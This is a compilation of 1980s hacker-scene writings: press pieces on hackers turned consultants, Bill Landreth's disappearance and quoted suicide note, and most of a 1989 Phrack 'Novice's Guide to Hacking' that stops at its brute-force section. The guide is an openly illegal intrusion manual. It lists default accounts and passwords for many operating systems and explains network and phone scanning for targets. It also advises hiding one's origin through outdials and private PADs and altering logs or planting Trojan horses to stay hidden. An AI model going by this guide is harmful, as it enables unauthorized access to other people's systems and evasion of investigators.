"So I became the hacker I was always afraid I would become," he said. Maxfield believes the hacker problem is growing more serious. He estimates there were just 400 to 500 hackers in 1982. Every two years, he says, the numbers increase by a factor of 10. Another worrisome trend to emerge recently is the presence of adult computer hackers. Some adults in the computer underground pose as Fagans, a character from a Charles Dickens novel who ran a crime ring of young boys, luring young hackers to their underground crime rings.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

John Freeman Maxfield's BoardScan is also known as the Semco Computer Club and Universial Export, the latter coming from the company name used by the British government in Ian Flemming's James Bond novels and subsequent motion pictures.

Another Judas hacker who went on to become a security consultant is the infamous Ian Arthur Murphy of I.A.M. Security. Perhaps he is better known as Captain Zap.

The following excerpt is from The Wall Street Journal;

[This article has been edited for this presentation. ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

It Takes A Hacker To Catch A Hacker As Well As A Thief November 3, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Dennis Kneale (Staff Reporter Of The Wall Street Journal)

"Computer Hacker Ian [Arthur] Murphy Prowls A Night Beat Tracking Down Other Hackers Who Pirate Data"

Capt. Zap actually Ian A. Murphy, is well‑known as one of the first convicted computer‑hacker thieves. He has since reformed ‑‑ he swears it ‑and has been resurrected as a consultant, working the other side of the law.

CRIME CREDENTIALS

Other consultants, many of them graying military vets, try to flush out illicit hackers. But few boast the distinction of being a real hacker ‑‑ and one with a felony among his credentials. Capt. Zap is more comfortable at the screen than in a conversation. Asked to name his closest friend, he shakes his head and throws up his hands. He has none. "I don't like people," he says. "They're dreadful."

"He's legendary in the hacking world and has access to what's going on. That's a very valuable commodity to us," says Robert P. Campbell of Advanced Information Management in Woodbridge, Va., Mr. Murphy's mentor, who has hired him for consulting jobs. The 30‑year‑old Mr. Murphy is well‑connected into his nocturnal netherworld. Every night till 4 a.m., he walks a beat through some of the hundreds of electronic bulletin boards where hackers swap tales and techniques of computer break‑ins.

It is very busy these nights. On the Stonehenge bulletin board, "The Marauder" has put up a phone number for Citibank's checking and credit‑card records, advising, "Give it a call." On another board, Mr. Murphy finds a primer for rookie "hacklings," written by "The Knights Of Shadow." On yet another he sifts out network codes for the Defense Department's research agency.

He watches the boards for clients and warns when a system is under attack. For a fee of $800 a day and up, his firm, IAM/Secure Data Systems Inc., will test the security of a data base by trying to break in, investigate how the security was breached, eavesdrop on anyone you want, and do anything else that strikes his fancy as nerd vs. spy. He says his clients have included Monsanto Co., United Airlines, General Foods Corp., and Peat Marwick. Some probably don't know he worked for them. His felony rap ‑‑ not to mention his caustic style ‑‑ forces him to work often under a more established consultant. "Ian hasn't grown up yet, but he's technically a brilliant kid," says Lindsey L. Baird, an Army veteran whose firm, Info‑Systems Safeguards in Morristown, New Jersey has hired Capt. Zap.

Mr. Murphy's electronic voyeurism started early, At age 14, he would sneak into the backyard to tap into the phone switch box and listen to neighbor's calls. (He still eavesdrops now and then.) He quit highschool at age 17. By 19 he was impersonating a student and sneaking into the computer center Temple University to play computer games.

EASY TRANSITION

From there it was an easy transition to Capt. Zap's role of breaking in and peeking at academic records, credit ratings, a Pentagon list of the sites of missiles aimed at the U.S., and other verboten verbiage. He even left his resume inside Bell of Pennsylvania's computer, asking for a job. The electronic tinkering got him into trouble in 1981. Federal agents swarmed around his parent's home in the wealthy suburb of Gladwyne, Pa. They seized a computer and left an arrest warrant. Capt. Zap was in a ring of eight hackers who ran up $212,000 in long‑distance calls by using a "blue box" that mimics phone‑company gear. They also ordered $200,000 in hardware by charging it to stolen credit‑card numbers and using false mail drops and bogus purchase orders. Mr. Murphy was the leader because "I had the most contempt" for authority, he says.

In 1982, he pleaded guilty to receiving stolen goods and was sentenced to 1,000 hours of community service and 2 1/2 years of probation. "It wasn't illegal. It was electronically unethical," he says, unrepentant. "Do you know who likes the phone company?" Who would have a problem with ripping them off?" Mr. Murphy, who had installed commercial air conditioning in an earlier job, was unable to find work after his arrest and conviction. So the hacker became a hack. One day in his cab he picked up a Dun & Bradstreet Corp. manager while he was carrying a printout of hacker instructions for tapping Dun's systems. Thus, he solicited his first consulting assignment: "I think you need to talk to me." He got the job.

As a consultant, Mr. Murphy gets to do, legally, the shenanigans that got him into trouble in the first place. "When I was a kid, hacking was fun. Now I can make money at it and still have a lot of fun."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Now because of all the publicity surrounding our well known friends like Ian Murphy or John Maxfield, some so‑called hackers have decided to cash in on news coverage themselves.

Perhaps the most well known personality that "sold out" is Bill Landreth aka The Cracker, who is the author of "Out Of The Inner Circle," published by Microsoft Press. The book was definitely more fiction than fact as it tried to make everyone believe that not only did The Cracker form the Inner Circle, but that it was the first group ever created. However, for starters, The Cracker was a second‑rate member of Inner Circle II. The publicity from the book may have served to bring him some dollars, but it ultimately focused more negative attention on the community adding to an already intense situation. The Cracker's final story had a little sadder ending...

Taken from Phrack World News Issue X;

[This article has been edited for this presentation. ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Cracker Cracks Up? December 21, 1986

~~~~~~~~~~~~~~~~~~~~~~

"Computer 'Cracker' Is Missing ‑‑ Is He Dead Or Is He Alive"

ESCONDIDO, Calif. ‑‑ Early one morning in late September, computer hacker Bill Landreth pushed himself away from his IBM‑PC computer ‑‑ its screen glowing with an uncompleted sentence ‑‑ and walked out the front door of a friend's home here.

He has not been seen or heard from since.

The authorities want him because he is the "Cracker", convicted in 1984 of breaking into some of the most secure computer systems in the United States, including GTE Telemail's electronic mail network, where he peeped at NASA Department of Defense computer correspondence.

His literary agent wants him because he is Bill Landreth the author, who already has cashed in on the successful publication of one book on computer hacking and who is overdue with the manuscript of a second computer book.

The Institute of Internal Auditors wants him because he is Bill Landreth the public speaker who was going to tell the group in a few months how to make their computer systems safer from people like him.

The letter, typed into his computer, then printed out and left in his room for someone to discover, touched on the evolution of mankind, prospects for man's immortality and the defeat of the aging process, nuclear war, communism versus capitalism, society's greed, the purpose of life, computers becoming more creative than man and finally ‑‑ suicide.

The last page reads:

"As I am writing this as of the moment, I am obviously not dead. I do, however, plan on being dead before any other humans read this. The idea is that I will commit suicide sometime around my 22nd birthday..."

The note explained:

"I was bored in school, bored traveling around the country, bored getting raided by the FBI, bored in prison, bored writing books, bored being bored. I will probably be bored dead, but this is my risk to take."

But then the note said:

"Since writing the above, my plans have changed slightly.... But the point is, that I am going to take the money I have left in the bank (my liquid assets) and make a final attempt at making life worthy. It will be a short attempt, and I do suspect that if it works out that none of my current friends will know me then. If it doesn't work out, the news of my death will probably get around. (I won't try to hide it.)"

Landreth's birthday is December 26 and his best friend is not counting on seeing him again.

"We used to joke about what you could learn about life, especially since if you don't believe in a God, then there's not much point to life," said Tom Anderson, 16, a senior at San Pasqual High School in Escondido, about 30 miles north of San Diego. Anderson also has been convicted of computer hacking and placed on probation.

Anderson was the last person to see Landreth. It was around September 25 ‑‑ he does not remember exactly. Landreth had spent a week living in Anderson's home so the two could share Landreth's computer. Anderson's IBM‑PC had been confiscated by authorities, and he wanted to complete his own book.

Anderson said he and Landreth were also working on a proposal for a movie about their exploits.

Apparently Landreth took only his house key, a passport, and the clothes on his back.

But concern grew by October 1, when Landreth failed to keep a speaking engagement with a group of auditors in Ohio, for which he would have received $1,000 plus expenses. Landreth may have kept a messy room and poor financial records, but he was reliable enough to keep a speaking engagement, said his friends and literary agent, Bill Gladstone, noting that Landreth's second manuscript was due in August and had not yet been delivered.

But, the manuscript never came and Landreth has not reappeared.

Steve Burnap, another close friend, said that during the summer Landreth had grown lackadaisical toward life. "He just didn't seem to care much about anything anymore."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Landreth eventually turned up in Seattle, Washington around the third week of July 1987. Because of his breaking probation, he is back in jail finishing his sentence.

Another individual who wanted to publicize himself is Oryan QUEST. Ever since the "Crisis On Infinite Hackers" that occurred on July 21, 1987, QUEST has been "pumping" information to John Markoff ‑‑ a reporter for the San Francisco Examiner who now has moved up to the New York Times. Almost t everything Oryan QUEST has told John Markoff are utter and complete lies and false boasts about the powerful things OQ liked to think he could do with a computer. This in itself is harmless, but when it gets printed in newspapers like the New York Times, the general public get a misleading look at the hacker community which can only do us harm. John Markoff has gone on to receive great fame as a news reporter and is now considered a hacker expert ‑‑ utterly ridiculous.

________________________________________

Infiltration

~~~~~~~~~~~~

One way in which the hacking community is constantly being infiltrated happens on some of today's best known bulletin boards. Boards like Pirate‑80 sysoped by Scan Man (who was also working for Telemarketing Company; a telecommunications reseller in Charleston, West Virginia) can be a major problem. On P‑80 anyone can get an account if you pay a nominal fee and from there a security consultant just has to start posted supplied information to begin to draw attention and fame as being a super hacker. Eventually he will be asked to join ill‑formed groups and start to appear on boards with higher levels of information and blend into the community. After a while he will be beyond suspicion and as such he has successfully entered the phreak/hack world. Dan The Operator was one such agent who acted in this way and would have gone on being undiscovered if not for the events of SummerCon '87 whereafter he was exposed by Knight Lightning and Phrack Inc.

:Knight Lightning

"The Future Is Forever"

A Novice's Guide To Hacking (1989 Edition)

==Phrack Inc.==

Volume Two, Issue 22, File 4 of 12

+++++++++++++++++++++++++

| The LOD/H Presents |

++++++++++++++++

A Novice's Guide to Hacking‑ 1989 edition /

=====================

by /

The Mentor /

Legion of Doom/Legion of Hackers /

December, 1988 /

Merry Christmas Everyone! /

++++++++++++++++++++++++++++++

The author hereby grants permission to reproduce, redistribute, or include this file in your g‑file section, electronic or print newletter, or any other form of transmission that you choose, as long as it is kept intact and whole, with no ommissions, deletions, or changes.

(C) The Mentor‑ Phoenix Project Productions 1988,1989 512/441‑3088

Introduction: The State of the Hack

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

After surveying a rather large g‑file collection, my attention was drawn to the fact that there hasn't been a good introductory file written for absolute beginners since back when Mark Tabas was cranking them out (and almost *everyone* was a beginner!) The Arts of Hacking and Phreaking have changed radically since that time, and as the 90's approach, the hack/phreak community has recovered from the Summer '87 busts (just like it recovered from the Fall '85 busts, and like it will always recover from attempts to shut it down), and the progressive media (from Reality Hackers magazine to William Gibson and Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice of us for the first time in recent years in a positive light.

Unfortunately, it has also gotten more dangerous since the early 80's. Phone cops have more resources, more awareness, and more intelligence than they exhibited in the past. It is becoming more and more difficult to survive as a hacker long enough to become skilled in the art. To this end this file is dedicated. If it can help someone get started, and help them survive to discover new systems and new information, it will have served it's purpose, and served as a partial repayment to all the people who helped me out when was a beginner.

Contents

~~~~~~~~

This file will be divided into four parts:

Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety Part 2: Packet Switching Networks: Telenet‑ How it Works, How to Use it, Outdials, Network Servers, Private PADs

Part 3: Identifying a Computer, How to Hack In, Operating System Defaults Part 4: Conclusion; Final Thoughts, Books to Read, Boards to Call, Acknowledgements

Part One: The Basics

~~~~~~~~~~~~~~~~~~~~~

As long as there have been computers, there have been hackers. In the 50's at the Massachusets Institute of Technology (MIT), students devoted much time and energy to ingenious exploration of the computers. Rules and the law were disregarded in their pursuit for the 'hack.' Just as they were enthralled with their pursuit of information, so are we. The thrill of the hack is not in breaking the law, it's in the pursuit and capture of knowledge.

To this end, let me contribute my suggestions for guidelines to follow to ensure that not only you stay out of trouble, but you pursue your craft without damaging the computers you hack into or the companies who own them.

I. Do not intentionally damage *any* system.

II. Do not alter any system files other than ones needed to ensure your escape from detection and your future access (Trojan Horses, Altering Logs, and the like are all necessary to your survival for as long as possible).

III. Do not leave your (or anyone else's) real name, real handle, or real phone number on any system that you access illegally. They *can* and will track you down from your handle!

IV. Be careful who you share information with. Feds are getting trickier Generally, if you don't know their voice phone number, name, and occupation or haven't spoken with them voice on non‑info trading conversations, be wary.

V. Do not leave your real phone number to anyone you don't know. This includes logging on boards, no matter how k‑rad they seem. If you don't know the sysop, leave a note telling some trustworthy people that will validate you.

VI. Do not hack government computers. Yes, there are government systems that are safe to hack, but they are few and far between. And the government has inifitely more time and resources to track you down than a company who has to make a profit and justify expenses.

VII. Don't use codes unless there is *NO* way around it (you don't have a local telenet or tymnet outdial and can't connect to anything 800). You use codes long enough, you will get caught. Period.

VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law. It doesn't hurt to store everything encrypted on your hard disk, or keep your notes buried in the backyard or in the trunk of your car. You may feel a little funny, but you'll feel a lot funnier when you when you meet Bruno, your transvestite cellmate who axed his family to death. IX. Watch what you post on boards. Most of the really great hackers in the country post *nothing* about the system they're currently working except in the broadest sense (I'm working on a UNIX, or a COSMOS, or something generic. Not "I'm hacking into General Electric's Voice Mail System" or something inane and revealing like that).

X. Don't be afraid to ask questions. That's what more experienced hackers are for. Don't expect *everything* you ask to be answered, though. There are some things (LMOS, for instance) that a begining hacker shouldn't mess with. You'll either get caught, or screw it up for others, or both.

XI. Finally, you have to actually hack. You can hang out on boards all you want, and you can read all the text files in the world, but until you actually start doing it, you'll never know what it's all about. There's no thrill quite the same as getting into your first system (well, ok, I can thinksavea couple of biggers thrills, but you get the picture).

One of the safest places to start your hacking career is on a computer system belonging to a college. University computers have notoriously lax security, and are more used to hackers, as every college computer department ment has one or two, so are less likely to press charges if you should be detected. But the odds of them detecting you and having the personel to committ to tracking you down are slim as long as you aren't destructive.

If you are already a college student, this is ideal, as you can legally explore your computer system to your heart's desire, then go out and look for similar systems that you can penetrate with confidence, as you're already familar with them.

So if you just want to get your feet wet, call your local college. Many of them will provide accounts for local residents at a nominal (under $20) charge.

Finally, if you get caught, stay quiet until you get a lawyer. Don't volunteer any information, no matter what kind of 'deals' they offer you. Nothing is binding unless you make the deal through your lawyer, so you might as well shut up and wait.

Part Two: Networks

~~~~~~~~~~~~~~~~~~~

The best place to begin hacking (other than a college) is on one of the bigger networks such as Telenet. Why? First, there is a wide variety of computers to choose from, from small Micro‑Vaxen to huge Crays. Second, the networks are fairly well documented. It's easier to find someone who can help you with a problem off of Telenet than it is to find assistance concerning your local college computer or high school machine. Third, the networks are safer. Because of the enormous number of calls that are fielded every day by the big networks, it is not financially practical to keep track of where every call and connection are made from. It is also very easy to disguise your location using the network, which makes your hobby much more secure.

Telenet has more computers hooked to it than any other system in the world once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET, DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of which you can connect to from your terminal.

The first step that you need to take is to identify your local dialup port. This is done by dialing 1‑800‑424‑9494 (1200 7E1) and connecting. It will spout some garbage at you and then you'll get a prompt saying 'TERMINAL= '. This is your terminal type. If you have vt100 emulation, type it in now. Or just hit return and it will default to dumb terminal mode.

You'll now get a prompt that looks like a @. From here, type @c mail <cr> and then it will ask for a Username. Enter 'phones' for the username. When it asks for a password, enter 'phones' again. From this point, it is menu driven. Use this to locate your local dialup, and call it back locally. If you don't have a local dialup, then use whatever means you wish to connect to one long distance (more on this later).

When you call your local dialup, you will once again go through the TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets you know you are connected to a Telenet PAD. PAD stands for either Packet Assembler/Disassembler (if you talk to an engineer), or Public Access Device (if you talk to Telenet's marketing people.) The first description is more correct.

Telenet works by taking the data you enter in on the PAD you dialed into, bundling it into a 128 byte chunk (normally... this can be changed), and then transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who then takes the data and hands it down to whatever computer or system it's connected to. Basically, the PAD allows two computers that have different baud rates or communication protocols to communicate with each other over a long distance. Sometimes you'll notice a time lag in the remote machines response. This is called PAD Delay, and is to be expected when you're sending data through several different links.

What do you do with this PAD? You use it to connect to remote computer systems by typing 'C' for connect and then the Network User Address (NUA) of the system you want to go to.

An NUA takes the form of 031103130002520

___/___/__

| | |

| | |network address

| |_____area prefix

|__________DNIC

This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC) according to their country and network name.

DNIC Network Name Country DNIC Network Name Country

________________________________________

|

02041 Datanet 1 Netherlands | 03110 Telenet USA 02062 DCS Belgium | 03340 Telepac Mexico 02080 Transpac France | 03400 UDTS‑Curacau Curacau 02284 Telepac Switzerland | 04251 Isranet Israel 02322 Datex‑P Austria | 04401 DDX‑P Japan 02329 Radaus Austria | 04408 Venus‑P Japan 02342 PSS UK | 04501 Dacom‑Net South Korea 02382 Datapak Denmark | 04542 Intelpak Singapore 02402 Datapak Sweden | 05052 Austpac Australia 02405 Telepak Sweden | 05053 Midas Australia 02442 Finpak Finland | 05252 Telepac Hong Kong 02624 Datex‑P West Germany | 05301 Pacnet New Zealand 02704 Luxpac Luxembourg | 06550 Saponet South Africa 02724 Eirpak Ireland | 07240 Interdata Brazil 03020 Datapac Canada | 07241 Renpac Brazil 03028 Infogram Canada | 09000 Dialnet USA 03103 ITT/UDTS USA | 07421 Dompac French Guiana 03106 Tymnet USA |

There are two ways to find interesting addresses to connect to. The first and easiest way is to obtain a copy of the LOD/H Telenet Directory from the LOD/H Technical Journal 4 or 2600 Magazine. Jester Sluggo also put out a good list of non‑US addresses in Phrack Inc. Newsletter Issue 21. These files will tell you the NUA, whether it will accept collect calls or not, what type of computer system it is (if known) and who it belongs to (also if known.)

The second method of locating interesting addresses is to scan for them manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to look at, you could type @c 412 614 (0's can be ignored most of the time).

If this node allows collect billed connections, it will say 412 614 CONNECTED and then you'll possibly get an identifying header or just a Username: prompt. If it doesn't allow collect connections, it will give you a message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to the right, and return you to the @ prompt.

There are two primary ways to get around the REFUSED COLLECT message. The first is to use a Network User Id (NUI) to connect. An NUI is a username/pw combination that acts like a charge account on Telenet. To collect to node 412 614 with NUI junk4248, password 525332, I'd type the following: @c 412 614,junk4248,525332 <‑‑‑‑ the 525332 will *not* be echoed to the screen. The problem with NUI's is that they're hard to come by unless you're a good social engineer with a thorough knowledge of Telenet (in which case you probably aren't reading this section), or you have someone who can provide you with them.

The second way to connect is to use a private PAD, either through an X.25 PAD or through something like Netlink off of a Prime computer (more on these two below).

The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area Code that the computer is located in (i.e. 713 xxx would be a computer in Houston, Texas). If there's a particular area you're interested in, (say, New York City 914), you could begin by typing @c 914 001 <cr>. If it connects, you make a note of it and go on to 914 002. You do this until you've found some interesting systems to play with.

Not all systems are on a simple xxx yyy address. Some go out to four or five digits (914 2354), and some have decimal or numeric extensions (422 121A = 422 121.01). You have to play with them, and you never know what you're going to find. To fully scan out a prefix would take ten million attempts per prefix. For example, if I want to scan 512 completely, I'd have to start with 512 00000.00 and go through 512 00000.99, then increment the address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning. There are plenty of neat computers to play with in a 3‑digit scan, however, so don't go berserk with the extensions.

Sometimes you'll attempt to connect and it will just be sitting there after one or two minutes. In this case, you want to abort the connect attempt by sending a hard break (this varies with different term programs, on Procomm, it's ALT‑B), and then when you get the @ prompt back, type 'D' for disconnect.

If you connect to a computer and wish to disconnect, you can type <cr> @ <cr> and you it should say TELENET and then give you the @ prompt. From there, type D to disconnect or CONT to re‑connect and continue your session uninterrupted.

Outdials, Network Servers, and PADs

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In addition to computers, an NUA may connect you to several other things. One of the most useful is the outdial. An outdial is nothing more than a modem you can get to over telenet ‑‑ similar to the PC Pursuit concept, except that these don't have passwords on them most of the time.

When you connect, you will get a message like 'Hayes 1200 baud outdial, Detroit, MI', or 'VEN‑TEL 212 Modem', or possibly 'Session 1234 established on Modem 5588.' The best way to figure out the commands on these is to type ? or H or HELP ‑‑ this will get you all the information that you need to use one.

Safety tip here ‑‑ when you are hacking *any* system through a phone dialup, always use an outdial or a diverter, especially if it is a local phone number to you. More people get popped hacking on local computers than you can imagine, Intra‑LATA calls are the easiest things in the world to trace inexpensively.

Another nice trick you can do with an outdial is use the redial or macro function that many of them have. First thing you do when you connect is to invoke the 'Redial Last Number' facility. This will dial the last number used, which will be the one the person using it before you typed. Write down the number, as no one would be calling a number without a computer on it. This is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D' for Display and it will display the five numbers stored as macros in the modem's memory.

There are also different types of servers for remote Local Area Networks (LAN) that have many machine all over the office or the nation connected to them. I'll discuss identifying these later in the computer ID section.

And finally, you may connect to something that says 'X.25 Communication PAD' and then some more stuff, followed by a new @ prompt. This is a PAD just like the one you are on, except that all attempted connections are billed to the PAD, allowing you to connect to those nodes who earlier refused collect connections.

This also has the added bonus of confusing where you are connecting from. When a packet is transmitted from PAD to PAD, it contains a header that has the location you're calling from. For instance, when you first connected to Telenet, it might have said 212 44A CONNECTED if you called from the 212 area code. This means you were calling PAD number 44A in the 212 area. That 21244A will be sent out in the header of all packets leaving the PAD.

Once you connect to a private PAD, however, all the packets going out from *it* will have it's address on them, not yours. This can be a valuable buffer between yourself and detection.

Phone Scanning

~~~~~~~~~~~~~~

Finally, there's the time‑honored method of computer hunting that was made famous among the non‑hacker crowd by that Oh‑So‑Technically‑Accurate movie Wargames. You pick a three digit phone prefix in your area and dial every number from 0000 ‑‑> 9999 in that prefix, making a note of all the carriers you find. There is software available to do this for nearly every computer in the world, so you don't have to do it by hand.

Part Three: I've Found a Computer, Now What?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This next section is applicable universally. It doesn't matter how you found this computer, it could be through a network, or it could be from carrier scanning your High School's phone prefix, you've got this prompt this prompt, what the hell is it?

I'm *NOT* going to attempt to tell you what to do once you're inside of any of these operating systems. Each one is worth several G‑files in its own right. I'm going to tell you how to identify and recognize certain OpSystems, how to approach hacking into them, and how to deal with something that you've never seen before and have know idea what it is.

VMS ‑ The VAX computer is made by Digital Equipment Corporation (DEC), and runs the VMS (Virtual Memory System) operating system. VMS is characterized by the 'Username:' prompt. It will not tell you if you've entered a valid username or not, and will disconnect you after three bad login attempts. It also keeps track of all failed login attempts and informs the owner of the account next time s/he logs in how many bad login attempts were made on the account. It is one of the most secure operating systems around from the outside, but once you're in there are many things that you can do to circumvent system security. The VAX also has the best set of help files in the world. Just type HELP and read to your heart's content.

Common Accounts/Defaults: [username: password [[,password]]]

SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB OPERATOR: OPERATOR

SYSTEST: UETP

SYSMAINT: SYSMAINT or SERVICE or DIGITAL FIELD: FIELD or SERVICE

GUEST: GUEST or unpassworded

DEMO: DEMO or unpassworded

DECNET: DECNET

DEC‑10 ‑ An earlier line of DEC computer equipment, running the TOPS‑10 operating system. These machines are recognized by their '.' prompt. The DEC‑10/20 series are remarkably hacker‑friendly, allowing you to enter several important commands without ever logging into the system. Accounts are in the format [xxx,yyy] where xxx and yyy are integers. You can get a listing of the accounts and the process names of everyone on the system before logging in with the command .systat (for SYstem STATus). If you seen an account that reads [234,1001] BOB JONES, it might be wise to try BOB or JONES or both for a password on this account. To login, you type .login xxx,yyy and then type the password when prompted for it.

The system will allow you unlimited tries at an account, and does not keep records of bad login attempts. It will also inform you if the UIC you're trying (UIC = User Identification Code, 1,2 for example) is bad.

Common Accounts/Defaults:

1,2: SYSLIB or OPERATOR or MANAGER 2,7: MAINTAIN

5,30: GAMES

UNIX ‑ There are dozens of different machines out there that run UNIX. While some might argue it isn't the best operating system in the world, it is certainly the most widely used. A UNIX system will usually have a prompt like 'login:' in lower case. UNIX also will give you unlimited shots at logging in (in most cases), and there is usually no log kept of bad attempts.

Common Accounts/Defaults: (note that some systems are case sensitive, so use lower case as a general rule. Also, many times the accounts will be unpassworded, you'll just drop right in!)

root: root

admin: admin

sysadmin: sysadmin or admin

unix: unix

uucp: uucp

rje: rje

guest: guest

demo: demo

daemon: daemon

sysbin: sysbin

Prime ‑ Prime computer company's mainframe running the Primos operating system. The are easy to spot, as the greet you with 'Primecon 18.23.05' or the like, depending on the version of the operating system you run into. There will usually be no prompt offered, it will just look like it's sitting there. At this point, type 'login <username>'. If it is a pre‑18.00.00 version of Primos, you can hit a bunch of ^C's for the password and you'll drop in. Unfortunately, most people are running versions 19+. Primos also comes with a good set of help files. One of the most useful features of a Prime on Telenet is a facility called NETLINK. Once you're inside, type NETLINK and follow the help files. This allows you to connect to NUA's all over the world using the 'nc' command.

For example, to connect to NUA 026245890040004, you would type @nc :26245890040004 at the netlink prompt.

Common Accounts/Defaults:

PRIME PRIME or PRIMOS

PRIMOS_CS PRIME or PRIMOS

PRIMENET PRIMENET

SYSTEM SYSTEM or PRIME

NETLINK NETLINK

TEST TEST

GUEST GUEST

GUEST1 GUEST

HP‑x000 ‑ This system is made by Hewlett‑Packard. It is characterized by the ':' prompt. The HP has one of the more complicated login sequneces around ‑‑ you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'. Fortunately, some of these fields can be left blank in many cases. Since any and all of these fields can be passworded, this is not the easiest system to get into, except for the fact that there are usually some unpassworded accounts around. In general, if the defaults don't work, you'll have to brute force it using the common password list (see below.) The HP‑x000 runs the MPE operating system, the prompt for it will be a ':', just like the logon prompt.

Common Accounts/Defaults:

MGR.TELESUP,PUB User: MGR Acct: HPONLYG rp: PUB MGR.HPOFFICE,PUB unpassworded MANAGER.ITF3000,PUB unpassworded FIELD.SUPPORT,PUB user: FLD, others unpassworded MAIL.TELESUP,PUB user: MAIL, others unpassworded

MGR.RJE unpassworded

FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded MGR.TELESUP,PUB,HPONLY,HP3 unpassworded

IRIS ‑ IRIS stands for Interactive Real Time Information System. It originally ran on PDP‑11's, but now runs on many other minis. You can spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner, and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking in, and keeps no logs of bad attempts. I don't know any default passwords, so just try the common ones from the password database below.

Common Accounts:

MANAGER

BOSS

SOFTWARE

DEMO

PDP8

PDP11

ACCOUNTING

VM/CMS ‑ The VM/CMS operating system runs in International Business Machines (IBM) mainframes. When you connect to one of these, you will get message similar to 'VM/370 ONLINE', and then give you a '.' prompt, just like TOPS‑10 does. To login, you type 'LOGON <username>'.

Common Accounts/Defaults are:

AUTOLOG1: AUTOLOG or AUTOLOG1 CMS: CMS

CMSBATCH: CMS or CMSBATCH

EREP: EREP

MAINT: MAINT or MAINTAIN OPERATNS: OPERATNS or OPERATOR OPERATOR: OPERATOR

RSCS: RSCS

SMART: SMART

SNA: SNA

VMTEST: VMTEST

VMUTIL: VMUTIL

VTAM: VTAM

NOS ‑ NOS stands for Networking Operating System, and runs on the Cyber computer made by Control Data Corporation. NOS identifies itself quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978,1987.' The first prompt you will get will be FAMILY:. Just hit return here. Then you'll get a USER NAME: prompt. Usernames are typically 7 alpha‑numerics characters long, and are *extremely* site dependent. Operator accounts begin with a digit, such as 7ETPDOC.

Common Accounts/Defaults:

$SYSTEM unknown

SYSTEMV unknown

Decserver‑ This is not truly a computer system, but is a network server that has many different machines available from it. A Decserver will say 'Enter Username>' when you first connect. This can be anything, it doesn't matter, it's just an identifier. Type 'c', as this is the least conspicuous thing to enter. It will then present you with a 'Local>' prompt. From here, you type 'c <systemname>' to connect to a system. To get a list of system names, type 'sh services' or 'sh nodes'. If you have any problems, online help is available with the 'help' command. Be sure and look for services named 'MODEM' or 'DIAL' or something similar, these are often outdial modems and can be useful!

GS/1 ‑ Another type of network server. Unlike a Decserver, you can't predict what prompt a GS/1 gateway is going to give you. The default prompt it 'GS/1>', but this is redifinable by the system administrator. To test for a GS/1, do a 'sh d'. If that prints out a large list of defaults (terminal speed, prompt, parity, etc...), you are on a GS/1. You connect in the same manner as a Decserver, typing 'c <systemname>'. To find out what systems are available, do a 'sh n' or a 'sh c'. Another trick is to do a 'sh m', which will sometimes show you a list of macros for logging onto a system. If there is a macro named VAX, for instance, type 'do VAX'.

The above are the main system types in use today. There are hundreds of minor variants on the above, but this should be enough to get you started.

Unresponsive Systems

~~~~~~~~~~~~~~~~~~~~

Occasionally you will connect to a system that will do nothing, but sit there. This is a frustrating feeling, but a methodical approach to the system will yield a response if you take your time. The following list will usually make *something* happen.

1) Change your parity, data length, and stop bits. A system that won't respond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE, with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one. While having a good term program isn't absolutely necessary, it sure is helpful.

2) Change baud rates. Again, if your term program will let you choose odd baud rates such as 600 or 1100, you will occasionally be able to penetrate some very interesting systems, as most systems that depend on a strange baud rate seem to think that this is all the security they need... 3) Send a series of <cr>'s.

4) Send a hard break followed by a <cr>.

5) Type a series of .'s (periods). The Canadian network Datapac responds to this.

6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does a MultiLink II.

7) Begin sending control characters, starting with ^A ‑‑> ^Z.

8) Change terminal emulations. What your vt100 emulation thinks is garbage may all of a sudden become crystal clear using ADM‑5 emulation. This also relates to how good your term program is.

9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO, JOIN, HELP, and anything else you can think of.

10) If it's a dialin, call the numbers around it and see if a company answers. If they do, try some social engineering.

Brute Force Hacking

~~~~~~~~~~~~~~~~~~~

